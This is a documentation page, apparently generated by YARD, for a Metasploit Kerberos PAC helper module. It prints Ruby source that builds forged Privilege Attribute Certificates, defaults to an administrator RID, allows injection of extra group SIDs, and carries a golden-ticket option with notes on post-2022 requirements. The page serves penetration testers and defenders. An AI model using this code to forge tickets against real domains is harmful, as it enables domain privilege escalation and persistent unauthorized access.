Module: Msf::Exploit::Remote::Kerberos::Client::Pac

Included in:
Msf::Exploit::Remote::Kerberos::Client
Defined in:
lib/msf/core/exploit/remote/kerberos/client/pac.rb

Instance Method Summary collapse

Instance Method Details

#build_empty_auth_dataObject



150
151
152
153
154
155
156
157
# File 'lib/msf/core/exploit/remote/kerberos/client/pac.rb', line 150

def build_empty_auth_data
  pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
    elements: [{ type: Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, data: "\x00" }]
  )
  Rex::Proto::Kerberos::Model::AuthorizationData.new(
    elements: [{ type: Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT, data: pac_auth_data.encode }]
  )
end

#build_pa_pac_request(opts = {}) ⇒ Rex::Proto::Kerberos::Model::Field::PreAuthDataEntry

Builds a kerberos PA-PAC-REQUEST pre authenticated structure

Parameters:

  • opts (Hash{Symbol => Boolean}) (defaults to: {})

Options Hash (opts):

  • :pac_request_value (Boolean)

Returns:

  • (Rex::Proto::Kerberos::Model::Field::PreAuthDataEntry)

See Also:



18
19
20
21
22
23
24
25
26
27
# File 'lib/msf/core/exploit/remote/kerberos/client/pac.rb', line 18

def build_pa_pac_request(opts = {})
  value = opts[:pac_request_value] || false
  pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
  pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(
    type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_REQUEST,
    value: pac_request.encode
  )

  pa_pac_request
end

#build_pac(opts = {}) ⇒ Rex::Proto::Kerberos::Pac::Krb5Pac

Builds a kerberos PACTYPE structure

Parameters:

  • opts (Hash{Symbol => <String, Integer, Array, Time>}) (defaults to: {})
  • opts[String] (Hash)

    a customizable set of options

  • opts[Boolean] (Hash)

    a customizable set of options

Options Hash (opts):

  • :client_name (String)
  • :user_id (Integer)

    the user SID Ex: 1000

  • :group_id (Integer)

    Ex: 513 for 'Domain Users'

  • :group_ids (Array<Integer>)
  • :extra_sids (Array<String>)

    An array of extra sids, Ex: '['S-1-5-etc-etc-519']'

  • :realm (String)
  • :domain_id (String)

    the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962

  • :logon_time (Time)

Returns:

See Also:



48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# File 'lib/msf/core/exploit/remote/kerberos/client/pac.rb', line 48

def build_pac(opts = {})
  user_name = opts[:client_name] || ''
  user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID
  primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
  group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
  extra_sids = opts[:extra_sids] || []
  domain_name = opts[:realm] || ''
  domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
  logon_time = opts[:logon_time] || Time.now
  checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5
  ticket_checksum = opts[:ticket_checksum] || nil
  is_golden = opts.fetch(:is_golden) { true }

  validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new(
    logon_time: logon_time,
    effective_name: user_name,
    user_id: user_id,
    primary_group_id: primary_group_id,
    logon_domain_name: domain_name,
    logon_domain_id: domain_id,
    full_name: '',
    logon_script: '',
    profile_path: '',
    home_directory: '',
    home_directory_drive: '',
    logon_server: ''
  )
  validation_info.group_ids = group_ids
  if extra_sids && extra_sids.length > 0
    validation_info.extra_sids = extra_sids.map do |sid|
      { sid: sid, attributes: Rex::Proto::Kerberos::Pac::SE_GROUP_ALL }
    end
  end

  logon_info = Rex::Proto::Kerberos::Pac::Krb5LogonInformation.new(
    data: validation_info
  )

  client_info = Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new(
    client_id: logon_time,
    name: user_name
  )

  if is_golden
    pac_requestor = Rex::Proto::Kerberos::Pac::Krb5PacRequestor.new(
      user_sid: "#{domain_id}-#{user_id}"
    )

    pac_attributes = Rex::Proto::Kerberos::Pac::Krb5PacAttributes.new
  end

  server_checksum = Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
    signature_type: checksum_type
  )

  priv_srv_checksum = Rex::Proto::Kerberos::Pac::Krb5PacPrivServerChecksum.new(
    signature_type: checksum_type
  )

  pac_elements = [
    logon_info,
    client_info
  ]

  if is_golden
    # These PAC elements are required for golden tickets in post-October 2022 systems
    pac_elements.append(
      pac_requestor,
      pac_attributes)
  end

  pac_elements.append(
      server_checksum,
      priv_srv_checksum
  )
  pac_elements << ticket_checksum unless ticket_checksum.nil?

  pac_type = Rex::Proto::Kerberos::Pac::Krb5Pac.new
  pac_type.assign(pac_elements: pac_elements)
  pac_type.sign!(service_key: opts[:checksum_enc_key])
  pac_type
end

#build_pac_authorization_data(opts = {}) ⇒ Rex::Proto::Kerberos::Model::AuthorizationData

Builds an kerberos AuthorizationData structure containing a PACTYPE

Parameters:

  • opts (Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}) (defaults to: {})

Options Hash (opts):

  • :pac (Rex::Proto::Kerberos::Pac::Type)

Returns:

See Also:



137
138
139
140
141
142
143
144
145
146
147
148
# File 'lib/msf/core/exploit/remote/kerberos/client/pac.rb', line 137

def build_pac_authorization_data(opts = {})
  pac = opts[:pac] || build_pac(opts)

  pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
    elements: [{ type: Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, data: pac.to_binary_s}]
  )
  authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
    elements: [{ type: Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT, data: pac_auth_data.encode }]
  )

  authorization_data
end